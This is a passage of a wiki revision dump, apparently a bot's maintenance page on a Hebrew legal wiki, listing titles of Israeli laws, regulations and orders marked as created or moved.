* {{v}} נוצר [[תקנות הספריות הציבוריות (שעות פתיחה)]]
* {{v}} נוצר [[נוהל לתמיכות מתקציב המדינה במוסדות ציבור]]
* {{v}} נוצר [[תקנות התקשורת (בזק ושידורים) (שימוש ברשת בזק ציבורית של מפ&quot;א)]]
* {{v}} נוצר [[הוראות תעריף המכס והפטור (סיווג טובין)]]
* {{v}} נוצר [[הודעה על סוגים של עובדי מדינה שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על עובדי בנק ישראל שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על מוסד ממלכתי]]
* {{v}} נוצר [[תקנות הסניגוריה הציבורית (שכר טרחה לסניגורים ציבוריים)]]
* {{v}} נוצר [[תקנות הגז (בטיחות ורישוי) (רישוי עוסקים בעבודות גז טבעי וכללים לביצוען)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (שמאות רכב – חשש לניגוד עניינים, כללי אתיקה מקצועית ואגרות)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (רישוי עיסוק בשמאות רכב – הוראת שעה)]]
* {{v}} נוצר [[חוק שיפוט בתי דין דתיים (בוררות)]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (תעסוקה)]]
* {{v}} נוצר [[חוק עידוד יישוב עירוני מעורב (הוראת שעה)]]
* {{v}} נוצר [[חוק התחשבנות בין בתי חולים לקופות חולים לשנים 2026 עד 2030 (התחשבנות בעד שירותי בריאות בבתי חולים ציבוריים כלליים)]]
* {{v}} נוצר [[חוק לעידוד ולתמרוץ מחקר ופיתוח]]
* {{v}} נוצר [[חוק לקידום התחרות בשוק הבנקאות (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק עידוד עלייה לישראל וחזרה אליה (הוראת שעה)]]
* {{v}} נוצר [[חוק התוכנית הכלכלית (תיקוני חקיקה ליישום המדיניות הכלכלית לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק להסדרת אירוע הילולת רבי שמעון בר יוחאי בהר מירון (הוראת שעה)]]
* {{v}} נוצר [[דבר המלך במועצה על ארץ-ישראל (1948)]]
* {{v}} נוצר [[חוק שיקום נזקי מלחמה בדרך של התחדשות עירונית]]
* {{v}} נוצר [[חוק עונש מוות למחבלים]]
* {{v}} נוצר [[תקנות ההוצאה לפועל (סדרי דין בלשכות ההוצאה לפועל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הגנת הפרטיות (התראה מינהלית)]]
* {{v}} נוצר [[תקנות הטיס (הוראות בדבר הכשרה מתאימה לחוקרים בתחום סמכויות בחקירה בטיחותית)]]
* {{v}} נוצר [[אישור כללי בדבר תשלומי מעבידים לקרן פנסיה ולקופת ביטוח במקום פיצויי פיטורים]]
* {{v}} נוצר [[הודעה על ביטול אישורים ועל שמירת תוקף אישורים]]
* {{v}} נוצר [[צו איסור הלבנת הון (חובות זיהוי, דיווח וניהול רישומים למניעת הלבנת הון ומימון טרור של מוסדות לגמילות חסדים)]]
* {{v}} נוצר [[חוק חובת דיווח על מלאי מזון לבעלי חיים ומלאי חיטה לשם היערכות למחסור משמעותי]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (סיוע לעסקים ולמוסדות ציבור)]]
* {{v}} נוצר [[חוק העמדה לדין בשל אירועי טבח 7 באוקטובר 2023 (טבח שמיני עצרת)]]
* {{v}} נוצר [[צו להסדרת מגורים בשטחי מרעה (הכרזה על אזור שמירה צמודה) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (גמלאות לעובדי ביטחון חדשים של המוסד למודיעין ולתפקידים מיוחדים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות במוסד למודיעין ולתפקידים מיוחדים שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (קצבת גישור לעובדי ביטחון חדשים של שירות הביטחון הכללי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות בשירות הביטחון הכללי שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (טיפול בתלונות)]]
* {{v}} נוצר [[חוק סיוע לבני משפחה של נעדרים]]
* {{v}} נוצר [[תקנות למניעת מפגעים (מיזם תשתית חיוני מועדף)]]
* {{v}} נוצר [[תקנות הדיור המוגן (יציבות כלכלית)]]
* {{v}} נוצר [[תקנות רכבת תחתית (מטרו) (אמות מידה לסיוע כספי לעסקים הנמצאים בסמיכות לעבודות להקמה של תחנות המטרו)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (משקלן היחסי של אמות המידה)]]
* {{v}} נוצר [[תקנות הטיס (הפעלת יחידת נת&quot;א)]]
* {{v}} נוצר [[תקנות הטיס (שדות תעופה – מאפיינים פיזיים והפעלת שדה תעופה)]]
* {{v}} נוצר [[תקנות הדיור המוגן (בקשה לרישיון הפעלה של בית דיור מוגן)]]
* {{v}} נוצר [[תקנות להסדר ההימורים בספורט (כללים למתן גמול ליושב ראש המועצה)]]
* {{v}} נוצר [[חוק הטבות מס ליישוב אזור קו עימות מזרחי (הוראת שעה)]]
* {{v}} נוצר [[חוק הכרה בשפת הסימנים הישראלית]]
* {{v}} נוצר [[תקנות תכנון משק החלב (הוראות לעניין הסדרת ייצור, שיווק וויסות של חלב)]]
* {{v}} נוצר [[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1987]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1990]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)]]
* {{v}} נוצר [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)]]
* {{v}} נוצר [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)]]
* {{v}} נוצר [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]]
* {{v}} דף [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]] הועבר לדף [[חוק להקפאה וניכוי של כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* {{v}} נוצר [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק שנת הכספים]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)]]
* {{v}} נוצר [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)]]
* {{v}} נוצר [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)]]
* {{v}} נוצר [[חוק ועדות הכנסת (ועדת העבודה והרווחה)]]
* [[חוק שטרי-חסכון צמודי-דולר]]
* [[חוק מניות בנקאיות בהסדר (הפחתת עמלות)]]
* [[חוק שדה התעופה אילת (הוראות מיוחדות)]]</text>
      <sha1>3l1sdn21dcqoasnumycsn0ibzjlye2v</sha1>
    </revision>
    <revision>
      <id>3020738</id>
      <parentid>3020719</parentid>
      <timestamp>2026-06-19T09:00:18Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>תודה</comment>
      <origin>3020738</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26516" sha1="hxzhwk09ja0ujcdiuacws5984qlvibo" xml:space="preserve">__INDEX__
רשימת דפים להוספה על ידי הבוט {{מוקטן|(רשימת דפים שהתווספו בעבר נשמרים [[משתמש:OpenLawBot/ארכיון|בארכיון]])}}
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לשואה ולגבורה)]]
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לחללי מערכות ישראל)]]
* {{v}} נוצר [[צו עבירת קנס (זיהום אויר)]]
* {{v}} נוצר [[צו סדר הדין הפלילי (סעיף 196 לחוק העונשין – עבירת קנס)]]
* {{v}} נוצר [[צו בתי הסוהר (קביעת קנס ופיצויים לענין עבירת בית סוהר)]]
* {{v}} נוצר [[תקנות מס הכנסה (דיבידנדים ששולם מס בשל חלוקתם)]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (סדרי דין מיוחדים בבקשה להחרמת ספינה) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[The Palestine Act]]
* {{v}} נוצר [[כללי הסדרת העיסוק בשירותי תשלום וייזום תשלום (הודעה של גופים פטורים לרשות ניירות ערך)]]
* {{v}} נוצר [[תקנות סמכויות לאיסוף ואבחון של נתוני נוסעים הנכנסים לישראל או היוצאים ממנה (הפחתה של סכומי עיצום כספי)]]
* {{v}} נוצר [[חוק השפוט בארצות נכר]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין עיריית מגדל העמק)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין המועצה המקומית זרזיר)]]
* {{v}} נוצר [[The Termination of Jurisdiction in Palestine (Transitional Provisions) Order in Council]]
* {{v}} נוצר [[דבר המלך במועצה עפ&quot;י חוק בתי-משפט לשלל מלחמה]]
* {{v}} נוצר [[תקנות בתי המשפט לעניני שלל מלחמה]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (אגרות וסדרי הדין בערעורים)]]
* {{v}} נוצר [[צו התחשבנות בין בתי חולים לקופות חולים (בריאות הנפש) (סכום תוספת התשלום שתחולק בהתאם לציוני המדד לשיפור השירות)]]
* {{v}} נוצר [[תקנות לימוד חובה (כללי דיווח של מנהל מוסד חינוך)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מיצג לזיכרון אירועי ה-7 באוקטובר) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שעת חירום (חרבות ברזל) (קיום דיונים בהיוועדות חזותית בהשתתפות עצורים ואסירים בעת מבצע שחרור אסירים)]]
* {{v}} נוצר [[צו ביטוח בריאות ממלכתי (תרופות בסל שירותי הבריאות)]]
* {{v}} נוצר [[תקנות בתי המשפט, בתי הדין לעבודה ולשכות ההוצאה לפועל (סדרי דין בתקופת שביתה או השבתה של עובדים)]]
* {{v}} נוצר [[דבר המלך על ארץ-ישראל בדבר שיפוט בעניני אדמיראליות]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור הפעילות בתחום הנוירולוגיה בבית החולים)]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (הודעה על החלטה להטיל קנס)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל ובין עיריית מגדל העמק והמועצות המקומיות רמת ישי וזרזיר)]]
* {{v}} נוצר [[תקנות מסילות הברזל (מסירת מידע על שירות הסעה ברכבת במרכז המידע הארצי לתחבורה ציבורית)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטע דרך כנתיב מהיר) (הוראת שעה)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיבים מהירים) (הוראת שעה)]]
* {{v}} נוצר [[חוק שלל המלחמה]]
* {{v}} נוצר [[תקנות שיקים ללא כיסוי (סייגים לתחולת החוק) (מלחמת התקומה) (הוראת שעה)‎]]
* {{v}} נוצר [[תקנות פינוי ובינוי (פיצויים) (מינוי שמאי פינוי ובינוי וסדרי דין בבקשות שיוגשו לשמאי פינוי ובינוי)]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 1925/2006)]]
* {{v}} נוצר [[תקנות פינוי בינוי (פיצויים) (כללים לקביעת שכרו של שמאי פינוי בינוי)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להקמת מתחם שישמש למגורים ולשימושים נלווים) (חרבות ברזל) (ניר עוז) (הוראת שעה)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מהיתר להקמת סכר עפר זמני ועבודות נוספות לצורך שאיבת מי כינרת) (הוראת שעה)]]
* {{v}} נוצר [[תקנות סדר הדין הפלילי (סמכויות אכיפה – נתוני תקשורת) (מאגר נתוני זיהוי תקשורת)]]
* {{v}} נוצר [[צו התכנון והבנייה (פטור מתוכנית ומהיתר להחלפת צנרת המוליכה דלק לתשתיות חיוניות) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[הודעת מנהל בתי המשפט בדבר הגשת ראיות במדיה אלקטרונית או דיגיטלית]]
* {{v}} נוצר [[החלטה בדבר שכר היועץ המשפטי לכנסת]]
* {{v}} נוצר [[צו הגנה על בריאות הציבור (מזון) (החלת שינויים בהוראות האיחוד האירופי) (תקנה 10/2011 – חומרים ומוצרים פלסטיים המיועדים לבוא במגע עם מזון)]]
* {{v}} נוצר [[תקנות מס הכנסה (קביעת סוגי עסקאות, הכנסות או מכירות שיוספו או יוחרגו ממחזור העסקאות של בעל עסק זעיר)]]
* {{v}} נוצר [[חוק מניעת פגיעת גוף שידורים זר בביטחון המדינה (הוראת שעה)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (סדר דין לדיון בבקשות לפי סעיפים 19 ו-20)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (שיפור מיומנויות רופאים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (העסקת עמיתי רופא שהגיעו מחוץ לישראל)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הרחבת שירותי אשפוז בית בשנת 2025)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הפעלת שדות קליניים)]]
* {{v}} נוצר [[תקנות העבירות המינהליות (קנס מינהלי – עירית תל-אביב-יפו)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 2023/915 – מזהמים מסוימים במזון)]]
* {{v}} נוצר [[הודעת הגנה על בריאות הציבור (מזון) (החלת שינויים בנספח להוראות האיחוד האירופי) (תקנה 432/2012 – רשימת מסרים בריאותיים מותרים למזון)]]
* {{v}} נוצר [[חוק מס חברות מזערי בקבוצה רב-לאומית]]
* {{v}} נוצר [[תקנות הפרות תעבורה מינהליות (סדרי הדין והמינהל בבית דין לתעבורה)]]
* {{v}} נוצר [[כללי המים (תעריפים למי קולחים לחקלאות המסופקים ממיתקן טיפול בשפכים)]]
* {{v}} נוצר [[תקנות בריאות העם (אמות מידה לחלוקת סכום נוסף) (הקמת ממשקי דיווח להעברת מידע קליני ומינהלי חיוני)]]
* {{v}} נוצר [[תקנות הפיקוח על שירותים פיננסיים (שירותים פיננסיים מוסדרים) (הפחתה של סכומי עיצום כספי ופריסת תשלומים)]]
* {{v}} נוצר [[תקנות בריאות העם (הגשת דין וחשבון)]]
* {{v}} נוצר [[תקנות למניעת העסקה במוסדות מסוימים של מי שהורשע באלימות כלפי ילדים וחסרי ישע (אישור המשטרה)]]
* {{v}} נוצר [[תקנות בריאות העם (דיווח על לידת תינוקות עם מומים)]]
* {{v}} נוצר [[הודעת מס הכנסה (רשימת יישובים מוטבים לשנת 2026)]]
* {{v}} נוצר [[תקנות הדואר (הוראות מס)]]
* {{v}} נוצר [[תקנות הדואר (פטור ממסים, מאגרות ומתשלומי חובה אחרים)]]
* {{v}} נוצר [[תקנות האגודות השתופיות]]
* {{v}} נוצר [[חוק יום הוקרה ממלכתי לפצועי מערכות ישראל ונפגעי פעולות איבה]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (אכיפת תשלומים) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות כביש אגרה (כביש ארצי לישראל) (סכומי דמי הגבייה) (סומך – בית העמק)]]
* {{v}} נוצר [[תקנות נתיבים מהירים (קביעת קטעי דרך כנתיב מהיר) (הוראת שעה) (כביש 5)]]
* {{v}} נוצר [[כללי המים (הסדר מפורט לאזור קיצוב)]]
* {{v}} נוצר [[חוק חדלות פירעון ושיקום כלכלי/תיקון 9]]
* {{v}} נוצר [[אכרזת גנים לאומיים, שמורות טבע, אתרים לאומיים ואתרי הנצחה (יישום האמנה להגנה על הים התיכון מפני זיהום מים)]]
* {{v}} נוצר [[תקנות תרומת ביציות (מרשם יילודים)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי גפ&quot;מ) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[חוק קיום דיונים בהיוועדות חוזותית בעת הכרזה על הגבלה (עצורים, אסירים וכלואים) (הוראת שעה)]]
* {{v}} נוצר [[צו הפיקוח על מצרכים ושירותים (הוראות לספקי מוצרי דלק) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג העיתונאים בשירות הציבורי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (פסיכולוגים בדירוג המח&quot;ר)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הסניגורים הציבוריים)]]
* {{v}} נוצר [[תקנות הדיינים (סדרי דין בבתי הדין הרבניים בעת מצב חירום מיוחד) (הוראת שעה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי המעבדה, הביוכימאים והמיקרוביולוגים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוגים שונים בתחום הפארה-רפואי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המפקחים הימיים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המקצ&quot;ט)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג מעברי הגבול ודירוג הקלדניות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הכבאים והדירוג האחיד ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים ברשות הארצית לכבאות והצלה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג העובדים הסוציאליים במשרד הבריאות)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג עובדי ההוראה)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג שירות החוץ)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפרקליטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (הדירוג המינהלי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המח&quot;ר ודירוג המח&quot;ר המועדף)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המהנדסים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג ההנדסאים והטכנאים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג האחים והאחיות)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הרוקחים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג טכנאי הרנטגן)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הפיזיותרפיסטים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג הקצינים הטכניים)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג צבא הגנה לישראל ייחודי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג מחקר ופיתוח צבאי)]]
* {{v}} נוצר [[צו שירות הקבע בצבא הגנה לישראל (גמלאות) (עדכון המשכורת הקובעת) (דירוג המשפטנים)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (תשלומים)]]
* {{v}} נוצר [[תקנות שחרור על-תנאי ממאסר (הוראות מיוחדות במצב שבו השתבשו סדרי החיים התקינים) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הספריות הציבוריות (שעות פתיחה)]]
* {{v}} נוצר [[נוהל לתמיכות מתקציב המדינה במוסדות ציבור]]
* {{v}} נוצר [[תקנות התקשורת (בזק ושידורים) (שימוש ברשת בזק ציבורית של מפ&quot;א)]]
* {{v}} נוצר [[הוראות תעריף המכס והפטור (סיווג טובין)]]
* {{v}} נוצר [[הודעה על סוגים של עובדי מדינה שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על עובדי בנק ישראל שעליהם יחולו האיסורים המנויים בחוק]]
* {{v}} נוצר [[הודעה על מוסד ממלכתי]]
* {{v}} נוצר [[תקנות הסניגוריה הציבורית (שכר טרחה לסניגורים ציבוריים)]]
* {{v}} נוצר [[תקנות הגז (בטיחות ורישוי) (רישוי עוסקים בעבודות גז טבעי וכללים לביצוען)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (שמאות רכב – חשש לניגוד עניינים, כללי אתיקה מקצועית ואגרות)]]
* {{v}} נוצר [[תקנות רישוי שירותים ומקצועות בענף הרכב (רישוי עיסוק בשמאות רכב – הוראת שעה)]]
* {{v}} נוצר [[חוק שיפוט בתי דין דתיים (בוררות)]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (תעסוקה)]]
* {{v}} נוצר [[חוק עידוד יישוב עירוני מעורב (הוראת שעה)]]
* {{v}} נוצר [[חוק התחשבנות בין בתי חולים לקופות חולים לשנים 2026 עד 2030 (התחשבנות בעד שירותי בריאות בבתי חולים ציבוריים כלליים)]]
* {{v}} נוצר [[חוק לעידוד ולתמרוץ מחקר ופיתוח]]
* {{v}} נוצר [[חוק לקידום התחרות בשוק הבנקאות (תיקוני חקיקה)]]
* {{v}} נוצר [[חוק עידוד עלייה לישראל וחזרה אליה (הוראת שעה)]]
* {{v}} נוצר [[חוק התוכנית הכלכלית (תיקוני חקיקה ליישום המדיניות הכלכלית לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק ההתייעלות הכלכלית (תיקוני חקיקה להשגת יעדי התקציב לשנת התקציב 2026)]]
* {{v}} נוצר [[חוק להסדרת אירוע הילולת רבי שמעון בר יוחאי בהר מירון (הוראת שעה)]]
* {{v}} נוצר [[דבר המלך במועצה על ארץ-ישראל (1948)]]
* {{v}} נוצר [[חוק שיקום נזקי מלחמה בדרך של התחדשות עירונית]]
* {{v}} נוצר [[חוק עונש מוות למחבלים]]
* {{v}} נוצר [[תקנות ההוצאה לפועל (סדרי דין בלשכות ההוצאה לפועל) (הוראת שעה)]]
* {{v}} נוצר [[תקנות הגנת הפרטיות (התראה מינהלית)]]
* {{v}} נוצר [[תקנות הטיס (הוראות בדבר הכשרה מתאימה לחוקרים בתחום סמכויות בחקירה בטיחותית)]]
* {{v}} נוצר [[אישור כללי בדבר תשלומי מעבידים לקרן פנסיה ולקופת ביטוח במקום פיצויי פיטורים]]
* {{v}} נוצר [[הודעה על ביטול אישורים ועל שמירת תוקף אישורים]]
* {{v}} נוצר [[צו איסור הלבנת הון (חובות זיהוי, דיווח וניהול רישומים למניעת הלבנת הון ומימון טרור של מוסדות לגמילות חסדים)]]
* {{v}} נוצר [[חוק חובת דיווח על מלאי מזון לבעלי חיים ומלאי חיטה לשם היערכות למחסור משמעותי]]
* {{v}} נוצר [[חוק התוכנית לסיוע כלכלי (הוראת שעה) (סיוע לעסקים ולמוסדות ציבור)]]
* {{v}} נוצר [[חוק העמדה לדין בשל אירועי טבח 7 באוקטובר 2023 (טבח שמיני עצרת)]]
* {{v}} נוצר [[צו להסדרת מגורים בשטחי מרעה (הכרזה על אזור שמירה צמודה) (הוראת שעה)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (גמלאות לעובדי ביטחון חדשים של המוסד למודיעין ולתפקידים מיוחדים)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות במוסד למודיעין ולתפקידים מיוחדים שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות שירות המדינה (גמלאות) (קצבת גישור לעובדי ביטחון חדשים של שירות הביטחון הכללי)]]
* {{v}} נוצר [[צו שירות המדינה (גמלאות) (מקצועות בשירות הביטחון הכללי שאינם מזכים בקצבת גישור)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (טיפול בתלונות)]]
* {{v}} נוצר [[חוק סיוע לבני משפחה של נעדרים]]
* {{v}} נוצר [[תקנות למניעת מפגעים (מיזם תשתית חיוני מועדף)]]
* {{v}} נוצר [[תקנות הדיור המוגן (יציבות כלכלית)]]
* {{v}} נוצר [[תקנות רכבת תחתית (מטרו) (אמות מידה לסיוע כספי לעסקים הנמצאים בסמיכות לעבודות להקמה של תחנות המטרו)]]
* {{v}} נוצר [[תקנות מערכי אכיפה מקומיים (משקלן היחסי של אמות המידה)]]
* {{v}} נוצר [[תקנות הטיס (הפעלת יחידת נת&quot;א)]]
* {{v}} נוצר [[תקנות הטיס (שדות תעופה – מאפיינים פיזיים והפעלת שדה תעופה)]]
* {{v}} נוצר [[תקנות הדיור המוגן (בקשה לרישיון הפעלה של בית דיור מוגן)]]
* {{v}} נוצר [[תקנות להסדר ההימורים בספורט (כללים למתן גמול ליושב ראש המועצה)]]
* {{v}} נוצר [[חוק הטבות מס ליישוב אזור קו עימות מזרחי (הוראת שעה)]]
* {{v}} נוצר [[חוק הכרה בשפת הסימנים הישראלית]]
* {{v}} נוצר [[תקנות תכנון משק החלב (הוראות לעניין הסדרת ייצור, שיווק וויסות של חלב)]]
* {{v}} נוצר [[חוק הכרה בתרומתם של כלבים ששירתו בגופים ביטחוניים]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1987]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1987)]]
* {{v}} דף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה), 1990]] הועבר לדף [[צו הגנת הצרכן (סימון טובין – עודפי יצוא) (הוראת שעה) (1990)]]
* {{v}} נוצר [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)]]
* {{v}} נוצר [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)]]
* {{v}} נוצר [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)]]
